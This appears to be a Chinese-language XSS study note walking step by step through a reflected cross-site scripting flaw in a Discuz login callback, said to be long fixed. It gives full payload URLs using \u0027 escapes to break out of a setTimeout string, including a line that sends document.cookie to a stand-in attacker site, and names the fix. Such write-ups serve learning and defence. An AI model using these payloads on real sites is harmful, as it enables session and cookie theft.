XSS学习笔记（四）-漏洞利用全过程

1.在这个例子（现在早已补）中希望大家也要体会到：XSS的上下文比较重要，如何根据上下文，利用未过滤的字符，合理的构造，才是成功的关键（要有足够猥琐的思路）
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

2.这是测试注册的一个账户，我们去F12看 源码，第一个思路就是看上下文，在上下文中发现原始的上下文，然后闭合和绕过原来的上下文，源码之后，ctrl+f 搜索自己可以控制输入的地方（如账号，个人信息等）

3.看到： 

...   

4.两处的上下文都需要 双引号或者单引号的闭合，可以试试 aaaaaaaaaaa" 作为账户名注册一个 来试试，或者直接字啊URL模拟你和这样的信息，看看有没有报错，经过实验，是不行的，是的，不可能给我们留这麽大的漏洞

5.然后我们回头看看第一个是作为函数参数的，setTimeout(可执行脚本,延时时间)函数，也就是说这个函数会把函数的第一个参数作为脚本执行，那我们试下闭合单引号， 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....

6.但是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引号是行不通的。

7.要相信还是自己的思路不够猥琐，我们看到setTimeout()的第一个参数是字符串，我们前面的教程里说过一次，JS字符串中，字符还可以表示为unicode的形式，即：单引号还可以表示为\u0027或者\x27,呵呵，希望来了吧，还有同意字符的不同编码的闭合方式，lz过滤了\没？ 试试便知,

在URL:
&referfer=aaaaaaaaaaa\&oauth_signature....

结果：

大喜：没有过滤\就是其转义性还可以被客户端使用
下面还是老思路：

把原来引号里面的单引号都变成\u0027或者\x27

8.在URL：
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

执行后，直接弹出cookie, 呵呵，还有啥说的，这里的已经是POC了！！！

9.如果把原来的alert() 换一下，直接指向自已的xss平台就真的Ok了
如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    这样会跳转到另一个页面，造成加载失效

所以要改进：

上面类似于我以前写的文章点击劫持， 修改客户端的href代码，同样替换掉单引号，和加号

在URL：
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

这样就不会因为跳转而加载失败了

看这些猥琐的例子中，其实最终都是嵌套这反射的思想，然后就是根据上下文绕过的思想，熟能生巧，让我们尽情的Xss去吧

这个修复方案就是过滤\ 就Ok了

关于Json XSS （http://blog.csdn.net/l_f0rm4t3d/article/details/23851071） 请看我写过的这篇